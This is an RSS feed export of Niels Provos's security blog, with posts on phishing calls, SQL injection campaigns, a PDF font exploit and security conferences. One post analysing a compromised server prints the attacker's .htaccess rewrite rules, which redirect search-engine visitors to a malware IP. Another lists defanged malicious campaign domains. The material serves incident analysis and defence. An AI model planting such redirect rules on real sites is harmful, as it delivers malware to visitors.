<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>Niels Provos (Entries tagged as security)</title>
    <link>http://www.provos.org/</link>
    <description>systrace, spybye and other things.</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.3.1 - http://www.s9y.org/</generator>
    
    

<item>
    <title>Phone call with a Heavily-Accented Phisher</title>
    <link>http://www.provos.org/index.php?/archives/106-Phone-call-with-a-Heavily-Accented-Phisher.html</link>
            <category>Hacking</category>
    
    <comments>http://www.provos.org/index.php?/archives/106-Phone-call-with-a-Heavily-Accented-Phisher.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=106</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=106</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    &lt;strong&gt; or How I failed to get the whole story&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;I am lying on the bed with a stomach bug when the phone is ringing.   It says&lt;/em&gt; &lt;strong&gt;544 Unknown Name&lt;/strong&gt;.&lt;em&gt; The following is an abbreviated recollection of the phone call.&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
Woman: Hello.   This is a computer support call.   Are you the owner of a Windows XP, Windows 7 or Windows 8 computer?&lt;br /&gt;
&lt;br /&gt;
Me: Thanks for calling.&lt;br /&gt;
&lt;br /&gt;
Woman: Are you the owner of a Windows XP, Windows 7 or Windows 8 computer.&lt;br /&gt;
&lt;br /&gt;
Me: Yes, I own the computer I am using.&lt;br /&gt;
&lt;br /&gt;
Woman: Can you look at your keyboard.  In the left bottom corner do you have a key that says CTRL.&lt;br /&gt;
&lt;br /&gt;
Me: I turned off the computer.    Do you want me to turn it back on.&lt;br /&gt;
&lt;br /&gt;
Woman: Yes, turn the computer back on.   Let me know when it is ready.&lt;br /&gt;
&lt;br /&gt;
Me:  OK.  I pressed the power button.   It says it’s booting.&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;Deliberate pause for dramatic accent.  I wait about 30 seconds.  During the whole phone call, I managed to turn the computer off at least 5 times.&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
Me: It says user name now.   What shall I do?&lt;br /&gt;
&lt;br /&gt;
Woman: What is your user name and password. &lt;br /&gt;&lt;a href=&quot;http://www.provos.org/index.php?/archives/106-Phone-call-with-a-Heavily-Accented-Phisher.html#extended&quot;&gt;Continue reading &quot;Phone call with a Heavily-Accented Phisher&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Thu, 02 May 2013 17:50:24 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/106-guid.html</guid>
    <category>phishing</category>
<category>security</category>

</item>
<item>
    <title>Lizamoon SQL Injection Campaign Compared</title>
    <link>http://www.provos.org/index.php?/archives/92-Lizamoon-SQL-Injection-Campaign-Compared.html</link>
            <category>Hacking</category>
            <category>Malware</category>
            <category>News</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/92-Lizamoon-SQL-Injection-Campaign-Compared.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=92</wfw:comment>

    <slash:comments>5</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=92</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Malware infections such as &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/SQL_injection&quot;&gt;SQL injection&lt;/a&gt; are a well known security problem.  Over the past two years we have seen several large-scale infections on the web, e.g. &lt;i&gt;Gumblar.cn&lt;/i&gt; and &lt;i&gt;Martuz.cn&lt;/i&gt;.  Recently, a new SQL injection campaign called &lt;a href=&quot;http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx&quot;&gt;Lizamoon&lt;/a&gt; has gained a lot of attention. I had expected web sites would become more secure over time and less susceptible to simple security problems, so it is surprising that SQL injection is still a prevalent problem.  That let me to wonder:  Was &lt;i&gt;Lizamoon&lt;/i&gt; as successful as previous infections?  In a discussion about this problem, my colleague Panayiotis Mavrommatis suggested that &lt;a href=&quot;http://blog.isovitis.com/2011/03/estimating-web-malware-infections.html&quot;&gt;comparing the size of campaigns via search engine result estimates&lt;/a&gt; might not be very accurate measurement.&lt;br /&gt;
&lt;br /&gt;
That begs the question of how to assess the impact of infections.   While the number of infected URLs is one possible measure, it is skewed by many different factors, e.g. a single vulnerable site contributes a large fraction of the infected URLs and overstates the impact.   Instead, counting the number of infected sites might be a better metric.   Even so, to judge the relative scale of an infection campaign, it might be helpful to compare it to previous incidents.&lt;br /&gt;
&lt;br /&gt;
Below is a comparison of the &lt;i&gt;Gumblar.cn/&lt;/i&gt;, &lt;i&gt;Martuz.cn/&lt;/i&gt; and &lt;i&gt;Lizamoon&lt;/i&gt; infections based on &lt;a href=&quot;https://code.google.com/apis/safebrowsing/&quot;&gt;Google&#039;s Safe Browsing &lt;/a&gt;data.    The graph shows the number of unique infected sites over a 30 day sliding window.&lt;br /&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://www.provos.org/uploads/LizamoonCompared.jpg&#039; onclick=&quot;F1 = window.open(&#039;/uploads/LizamoonCompared.jpg&#039;,&#039;Zoom&#039;,&#039;height=2224,width=2974,top=-579.5,left=-639.5,toolbar=no,menubar=no,location=no,resize=1,resizable=1,scrollbars=yes&#039;); return false;&quot;&gt;&lt;!-- s9ymdb:15 --&gt;&lt;img class=&quot;serendipity_image_center&quot; width=&quot;600&quot; height=&quot;448&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://www.provos.org/uploads/LizamoonComparedSmall.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
For this analysis, I counted the sites that had a functioning reference to it, e.g. a &lt;i&gt;script src=&lt;/i&gt;.   Sites that escaped the &lt;i&gt;script&lt;/i&gt; tag rendering it harmless were not counted.  For &lt;i&gt;Lizamoon&lt;/i&gt;, I aggregated the sites provided by the &lt;a href=&quot;http://community.websense.com/blogs/securitylabs/archive/2011/03/29/lizamoon-mass-injection-28000-urls-including-itunes.aspx&quot;&gt;websense blog&lt;/a&gt; into a single measure:&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
hxxp://lizamoon.com/&lt;br /&gt;
hxxp://tadygus.com/&lt;br /&gt;
hxxp://alexblane.com/&lt;br /&gt;
hxxp://alisa-carter.com/&lt;br /&gt;
hxxp://online-stats201.info/&lt;br /&gt;
hxxp://stats-master111.info/&lt;br /&gt;
hxxp://agasi-story.info/&lt;br /&gt;
hxxp://general-st.info/&lt;br /&gt;
hxxp://extra-service.info/&lt;br /&gt;
hxxp://t6ryt56.info/&lt;br /&gt;
hxxp://sol-stats.info/&lt;br /&gt;
hxxp://google-stats49.info/&lt;br /&gt;
hxxp://google-stats45.info/&lt;br /&gt;
hxxp://google-stats50.info/&lt;br /&gt;
hxxp://stats-master88.info/&lt;br /&gt;
hxxp://eva-marine.info/&lt;br /&gt;
hxxp://stats-master99.info/&lt;br /&gt;
hxxp://worid-of-books.com/&lt;br /&gt;
hxxp://google-server43.info/&lt;br /&gt;
hxxp://tzv-stats.info/&lt;br /&gt;
hxxp://milapop.com/&lt;br /&gt;
hxxp://pop-stats.info/&lt;br /&gt;
hxxp://star-stats.info/&lt;br /&gt;
hxxp://multi-stats.info/&lt;br /&gt;
hxxp://google-stats44.info/&lt;br /&gt;
hxxp://books-loader.info/&lt;br /&gt;
hxxp://google-stats73.info/&lt;br /&gt;
hxxp://google-stats47.info/&lt;br /&gt;
hxxp://google-stats50.info/&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
The graph shows two interesting facts.&lt;ul&gt;&lt;li&gt;The Lizamoon campaign started around September 2010 and actually peaked in October 2010 with &lt;b&gt;~5600&lt;/b&gt; infected sites.  At the moment, it seems to be undergoing a revival.&lt;/li&gt;&lt;li&gt;If we compare the number of infected sites, &lt;i&gt;Gumblar.cn/&lt;/i&gt; is still clearly the winner with &lt;b&gt;~62,000&lt;/b&gt; sites, followed closely by &lt;i&gt;Martuz.cn/&lt;/i&gt;.&lt;/li&gt;&lt;/ul&gt;For future studies of malware infections, I suggest taking the number of infected sites as a more reliable measure than counting the number of infected URLs.&lt;br /&gt;
&lt;strong&gt;&lt;br /&gt;
Update 2011-04-04:&lt;/strong&gt; The blog post incorrectly referred to &lt;i&gt;Gumblar.cn&lt;/i&gt; and &lt;i&gt;Martuz.cn/&lt;/i&gt; as SQL injection attacks.   These attacks used stolen FTP credentials.&lt;br /&gt;
 
    </content:encoded>

    <pubDate>Sun, 03 Apr 2011 15:24:20 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/92-guid.html</guid>
    <category>malware</category>
<category>security</category>
<category>sql injection</category>

</item>
<item>
    <title>Virtual Nudity at Airports</title>
    <link>http://www.provos.org/index.php?/archives/88-Virtual-Nudity-at-Airports.html</link>
            <category>Security</category>
    
    <comments>http://www.provos.org/index.php?/archives/88-Virtual-Nudity-at-Airports.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=88</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=88</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    &lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/2/2d/Backscatter_x-ray_image_woman.jpg&quot; alt=&quot;&quot; / style=&quot;float: left; padding: 5px; padding-right: 10px&quot; width=150&gt;Recently, I had the pleasure of flying from the new terminal at the &lt;a href=&quot;http://en.wikipedia.org/wiki/San_Jose_International_Airport&quot;&gt;San Jose Airport&lt;/a&gt;.   The building is quite nice from the inside and even has some cool futuristic moving statues.  With all the good stuff comes also a set of virtual nudity machines at the security screening point.   The virtual nudity machines also known as &lt;a href=&quot;http://en.wikipedia.org/wiki/Backscatter_X-ray&quot;&gt;backscatter x-ray screening&lt;/a&gt; promise increased privacy since the naked images of passengers are viewed at a remote location and there is no requirement of a physical examination.   As the sign states these machines are optional but whoever refuses must subject themselves to a thorough physical pat down.   I already had one really bad experience with the virtual nudity machines at another airport - I was told I was not allowed to wear my watch or any necklaces.   Well, this time I chose the metal detector and walked through without any further hassles.   However, I had the pleasure of watching every single person who was shepherded through the virtual nudity machines being patted down.  One woman had her breast touched - perhaps she dared to wear an underwire bra?   The next guy got patted down around his legs.   His offense was a chap stick hidden in his pocket.   What really amused me was the guy after him who was patted down because he had not removed his handkerchief from his pocket.    At the end of the day, anyone going through the backscatter x-ray machines got patted down and spent a significantly longer time at the security checkpoint.   This seems like an overly expensive experiment that hopefully will be abandoned soon. 
    </content:encoded>

    <pubDate>Wed, 22 Sep 2010 07:41:15 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/88-guid.html</guid>
    <category>airport</category>
<category>security</category>

</item>
<item>
    <title>Adobe PDF Vulnerability: Stack overflow in Font File parsing</title>
    <link>http://www.provos.org/index.php?/archives/87-Adobe-PDF-Vulnerability-Stack-overflow-in-Font-File-parsing.html</link>
            <category>Malware</category>
            <category>News</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/87-Adobe-PDF-Vulnerability-Stack-overflow-in-Font-File-parsing.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=87</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=87</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Metasploit has a great &lt;a href=&quot;http://blog.metasploit.com/2010/09/return-of-unpublished-adobe.html&quot;&gt;write up on new vulnerability in PDF&lt;/a&gt;.  The basic problem is a stack overflow when parsing OpenType fonts.  In particular, &lt;a href=&quot;http://www.adobe.com/devnet/opentype/gdk/topic.html&quot;&gt;SING Glyphlet tables&lt;/a&gt; contain a 27 byte long unique name that is expected to be NUL-terminated and stored in a 28-byte buffer.  The vulnerable code is using &lt;strong&gt;strcat&lt;/strong&gt; and lacks bounds checking resulting in a stack overflow.&lt;br /&gt;
&lt;br /&gt;
The PDF in the wild prepares the heap via Javascript and contains multiple different font files that are selected by navigating to a specific page in the PDF based on the viewer version.   Each font files has slightly different shell code.    It was amusing to see that the attackers after modifying the &lt;strong&gt;head&lt;/strong&gt; and &lt;strong&gt;SING&lt;/strong&gt; tables did not fix up their respective checksums.   According to Metasploit, this exploit works under Windows 7 with both DEP and ASLR turned on.   Fun Fun.   As of now, no patched version is available.  The &lt;a href=&quot;http://secbrowsing.blogspot.com/2010/09/protect-yourself-against-todays-pdf.html&quot;&gt;SecBrowsing blog&lt;/a&gt; contains instructions with temporary remedies. 
    </content:encoded>

    <pubDate>Thu, 09 Sep 2010 22:18:39 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/87-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>LEET '10 Call for Papers</title>
    <link>http://www.provos.org/index.php?/archives/74-LEET-10-Call-for-Papers.html</link>
            <category>Malware</category>
            <category>News</category>
            <category>Security</category>
            <category>SpyBye</category>
            <category>Systrace</category>
    
    <comments>http://www.provos.org/index.php?/archives/74-LEET-10-Call-for-Papers.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=74</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=74</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    The call for papers for the &lt;strong&gt;3rd USENIX Workshop on Large-Scale Exploits and Emergent Threats&lt;/strong&gt; (LEET &#039;10) Botnets, Spyware, Worms, and More just went out.   It will be held on &lt;strong&gt;April 27, 2010&lt;/strong&gt; in San Jose, CA.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.usenix.org/event/leet10/cfp/&quot;&gt;LEET &#039;10&lt;/a&gt; will be co-located with the 7th USENIX Symposium on Networked Systems Design and Implementation (NSDI &#039;10), which will take place April 28–30, 2010.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Important Dates&lt;/strong&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Submissions due: Thursday, February 25, 2010, 11:59 p.m. PST&lt;/li&gt;&lt;li&gt;Notification of acceptance: Wednesday, March 24, 2010&lt;/li&gt;&lt;li&gt;Final papers due: Monday, April 5, 2010&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;
&lt;strong&gt;Workshop Organizers&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Program Chair&lt;/em&gt;&lt;ul&gt;&lt;li&gt;Michael Bailey, University of Michigan&lt;/li&gt;&lt;/ul&gt;&lt;em&gt;Program Committee&lt;/em&gt;&lt;ul&gt;&lt;li&gt;Dan Boneh, Stanford University&lt;/li&gt;&lt;li&gt;Nick Feamster, Georgia Institute of Technology&lt;/li&gt;&lt;li&gt;Jaeyeon Jung, Intel Labs, Seattle&lt;/li&gt;&lt;li&gt;Christian Kreibich, International Computer Science Institute&lt;/li&gt;&lt;li&gt;Patrick McDaniel, Pennsylvania State University&lt;/li&gt;&lt;li&gt;Fabian Monrose, University of North Carolina, Chapel Hill&lt;/li&gt;&lt;li&gt;Jose Nazario, Arbor Networks, Inc.&lt;/li&gt;&lt;li&gt;Stefan Savage, University of California, San Diego&lt;/li&gt;&lt;li&gt;Matt Williamson, AVG Technologies&lt;/li&gt;&lt;li&gt;Yinglian Xie, Microsoft Research&lt;/li&gt;&lt;li&gt;Vinod Yegneswaran, SRI International&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;Go submit your work! 
    </content:encoded>

    <pubDate>Sat, 29 Aug 2009 12:35:46 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/74-guid.html</guid>
    <category>cfp</category>
<category>malware</category>
<category>research</category>
<category>security</category>

</item>
<item>
    <title>DirectShow Vulnerability Exploited Everywhere</title>
    <link>http://www.provos.org/index.php?/archives/70-DirectShow-Vulnerability-Exploited-Everywhere.html</link>
            <category>Malware</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/70-DirectShow-Vulnerability-Exploited-Everywhere.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=70</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=70</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    The &lt;a href=&quot;http://secunia.com/advisories/35683/&quot;&gt;DirectShow&lt;/a&gt; &lt;a href=&quot;http://www.symantec.com/connect/blogs/directshow-exploit-wild&quot;&gt;vulnerabilities&lt;/a&gt; are being exploited all over the place now.  Unfortunately, the &lt;a href=&quot;http://www.computerworld.com/s/article/9135210/Hackers_exploit_second_DirectShow_zero_day_using_thousands_of_hijacked_sites&quot;&gt;second vulnerability&lt;/a&gt; in DirectShow is still unpatched and exploit sites seem to be jumping on this.  There is even some evidence that it&#039;s possible to &lt;a href=&quot;http://www.viruslist.com/en/weblog?weblogid=208187760&quot;&gt;successfully exploit&lt;/a&gt; the vulnerability without even using JavaScript.   New &lt;a href=&quot;http://isc.sans.org/diary.html?storyid=6739&quot;&gt;exploit domains&lt;/a&gt; are popping after &lt;a href=&quot;http://google.com/safebrowsing/diagnostic?site=ch.ma/&quot;&gt;every day&lt;/a&gt;.  DirectShow now seems to be what Flash and PDF were earlier in the year. 
    </content:encoded>

    <pubDate>Sat, 11 Jul 2009 09:38:16 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/70-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>Cybercrime 2.0: When the Cloud Turns Dark</title>
    <link>http://www.provos.org/index.php?/archives/66-Cybercrime-2.0-When-the-Cloud-Turns-Dark.html</link>
            <category>Malware</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/66-Cybercrime-2.0-When-the-Cloud-Turns-Dark.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=66</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=66</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    We recently published an article on &lt;a href=&quot;http://queue.acm.org/detail.cfm?id=1517412&quot;&gt;web-based malware&lt;/a&gt; in ACM&#039;s Queue Magazine.  It provides a short overview of some of the challenges with detecting malicious web sites such as social engineering and examples of techniques for compromising web sites, e.g. htaccess redirection on Apache, etc.  This is the article on which my recent ISSNet talk was based. 
    </content:encoded>

    <pubDate>Wed, 01 Jul 2009 08:19:59 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/66-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>LEET'09: Large Scale Exploits and Emergent Threats</title>
    <link>http://www.provos.org/index.php?/archives/62-LEET09-Large-Scale-Exploits-and-Emergent-Threats.html</link>
            <category>Malware</category>
            <category>News</category>
            <category>Security</category>
    
    <comments>http://www.provos.org/index.php?/archives/62-LEET09-Large-Scale-Exploits-and-Emergent-Threats.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=62</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=62</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    The 2nd USENIX LEET workshop is going to take place on April 21st in Boston next week.   The &lt;a href=&quot; http://www.usenix.org/events/leet09/tech/tech.html&quot;&gt;workshop program&lt;/a&gt; looks really interesting.  There are a number of really interesting talks; here are just a few:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Spamcraft: An Inside Look At Spam Campaign Orchestration&lt;/li&gt;&lt;li&gt;A Foray into Conficker&#039;s Logic and Rendezvous Points&lt;/li&gt;&lt;li&gt;A View on Current Malware Behaviors&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
Last year&#039;s workshop was a blast and I expect that next week is going to be lots of fun, too.   It is still possible to &lt;a href=&quot;http://www.usenix.org/events/leet09/registration/&quot;&gt;register on-site&lt;/a&gt; for the workshop. 
    </content:encoded>

    <pubDate>Tue, 14 Apr 2009 17:25:08 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/62-guid.html</guid>
    <category>security</category>
<category>usenix</category>

</item>
<item>
    <title>Using htaccess To Distribute Malware</title>
    <link>http://www.provos.org/index.php?/archives/55-Using-htaccess-To-Distribute-Malware.html</link>
            <category>Malware</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/55-Using-htaccess-To-Distribute-Malware.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=55</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=55</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Usually, I get to find compromised web servers, but last week I was asked to fix one.    A relative noticed that his web server would try to install a &lt;a href=&quot;http://malwarebytes.org/forums/index.php?showforum=30&quot;&gt;rogue anti-malware product&lt;/a&gt; and called me for help.   Curiously, the malware showed up only when clicking on the search results for his web site, but the site was fine when typing the address directly into the location bar.  A little investigation with curl could reproduce that behavior:&lt;br /&gt;
&lt;blockquote&gt;curl -I -H &quot;Referer: www.google.com&quot; http://www.foo.com/&lt;/blockquote&gt;&lt;br /&gt;
returned a 302 redirect to an IP address, whereas &lt;blockquote&gt;curl -I http://www.foo.com/&lt;/blockquote&gt;&lt;br /&gt;
returned a 200.   To find where the code might have been injected, I grepped the whole web server for the IP address and found the following gem in &lt;strong&gt;.htaccess&lt;/strong&gt;:&lt;br /&gt;
&lt;blockquote&gt;RewriteEngine On&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]&lt;br /&gt;
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]&lt;/blockquote&gt;&lt;br /&gt;
This code instructs the web server to redirect visitors to a malware site if they come from popular search engines.&lt;br /&gt;
&lt;br /&gt;
The attackers were able to insert this file as the web application had a remote file inclusion vulnerability.   These attacks are quite popular as we found in our paper: &lt;a href=&quot;http://www.usenix.org/events/sec08/tech/small.html&quot;&gt;To Catch a Predator: A Natural Language Approach for Eliciting Malicious Payloads&lt;/a&gt;.  The fix in this case was to remove the &lt;strong&gt;.htaccess&lt;/strong&gt; file and to upgrade the web application to a patched version without the vulnerability. 
    </content:encoded>

    <pubDate>Fri, 05 Dec 2008 20:34:36 -0800</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/55-guid.html</guid>
    <category>malware</category>
<category>security</category>
<category>usenix</category>

</item>
<item>
    <title>SQL Injection Redux</title>
    <link>http://www.provos.org/index.php?/archives/53-SQL-Injection-Redux.html</link>
            <category>Malware</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/53-SQL-Injection-Redux.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=53</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=53</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    &lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://www.provos.org/uploads/sql-injection.png&#039;&gt;&lt;!-- s9ymdb:8 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;200px&quot; height=&quot;103px&quot; style=&quot;float: left; border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://www.provos.org/uploads/sql-injection-small.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;During my &lt;a href=&quot;http://www.usenix.org/events/sec08/tech/tech.html#provos&quot;&gt;invited talk&lt;/a&gt; on web-based malware at USENIX Security, I mentioned &lt;a href=&quot;http://en.wikipedia.org/wiki/SQL_injection&quot;&gt;SQL Injection&lt;/a&gt; as one of the more popular means of compromising web servers.   Although I did not have a chance to post my slides, here is one graph that shows how many URLs with drive-by downloads due to SQL injection were found by Google&#039;s infrastructure in July 2008; it&#039;s over 800,000 URLs.   Curiously, most of these were due to the &lt;a href=&quot;http://msmvps.com/blogs/harrywaldron/archive/2008/05/16/asprox-botnet-installs-sql-injection-tool.aspx&quot;&gt;Asprox botnet&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The situation has slightly changed since then, Asprox has become quiet and most of the SQL Injection attacks seem to originate from Chinese sites.   One way to determine if a site has been injected with malicious content is the &lt;a href=&quot;http://googleonlinesecurity.blogspot.com/2008/05/safe-browsing-diagnostic-to-rescue.html&quot;&gt;Safe Browsing diagnostic page&lt;/a&gt; which shows infection domains and also how many sites they compromised.   Here is an example of a Chinese SQL injection domain, &lt;a href=&quot;http://www.google.com/safebrowsing/diagnostic?site=ko118.cn&quot;&gt;ko118.cn&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
To help web application developers, OWASP has published detailed guidelines on &lt;a href=&quot;http://www.owasp.org/index.php/Guide_to_SQL_Injection&quot;&gt;preventing SQL injection&lt;/a&gt; attacks.  More importantly if your web site was SQL injected, its database needs to be cleaned to &lt;a href=&quot;http://www.google.com/search?q=cleaning+sql+injection&quot;&gt;remove the injected content&lt;/a&gt;. 
    </content:encoded>

    <pubDate>Tue, 25 Nov 2008 20:59:35 -0800</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/53-guid.html</guid>
    <category>malware</category>
<category>security</category>
<category>sql injection</category>
<category>usenix</category>

</item>
<item>
    <title>LEET '09 Call for Papers</title>
    <link>http://www.provos.org/index.php?/archives/52-LEET-09-Call-for-Papers.html</link>
            <category>News</category>
            <category>Security</category>
            <category>Systrace</category>
    
    <comments>http://www.provos.org/index.php?/archives/52-LEET-09-Call-for-Papers.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=52</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=52</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    The &lt;a href=&quot;http://www.usenix.org/event/leet09/cfp/&quot;&gt;CfP&lt;/a&gt; for the 2nd USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET &#039;09): Botnets, Spyware, Worms, and More is up at:&lt;br /&gt;
&lt;br /&gt;
&lt;dl&gt;&lt;dd&gt;&lt;a href=&quot;http://www.usenix.org/event/leet09/cfp/&quot;&gt;http://www.usenix.org/event/leet09/cfp/&lt;/a&gt;.&lt;/dd&gt;&lt;/dl&gt;&lt;br /&gt;
LEET &#039;09 will be held on April 21, 2009 in Boston, MA immediately before the 6th USENIX Symposium on Networked Systems Design and Implementation (NSDI &#039;09), which will take place April 22–24, 2009. &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Important Dates&lt;/strong&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Submissions due: January 16, 2009, 11:59 p.m. EST&lt;/li&gt;&lt;li&gt;Notification of acceptance: March 2, 2009&lt;/li&gt;&lt;li&gt;Electronic files due: March 30, 2009&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;
This will be the second edition of LEET, which had evolved from the combination of two other successful workshops, the ACM Workshop on Recurring Malcode (WORM) and the USENIX Workshop on Hot Topics in Understanding Botnets (HotBots). These two workshops have each dealt with aspects of this problem. However, while papers relating to both worms and botnets are explicitly solicited, LEET has a broader charter than its predecessors. We encourage submissions of papers that focus on any aspect of the underlying mechanisms used to compromise and control hosts, the large-scale &quot;applications&quot; being perpetrated upon this framework, or the social and economic networks driving these threats. 
    </content:encoded>

    <pubDate>Wed, 12 Nov 2008 18:48:12 -0800</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/52-guid.html</guid>
    <category>cfp</category>
<category>research</category>
<category>security</category>
<category>usenix</category>

</item>
<item>
    <title>Getting ready for USENIX Security</title>
    <link>http://www.provos.org/index.php?/archives/46-Getting-ready-for-USENIX-Security.html</link>
    
    <comments>http://www.provos.org/index.php?/archives/46-Getting-ready-for-USENIX-Security.html#comments</comments>
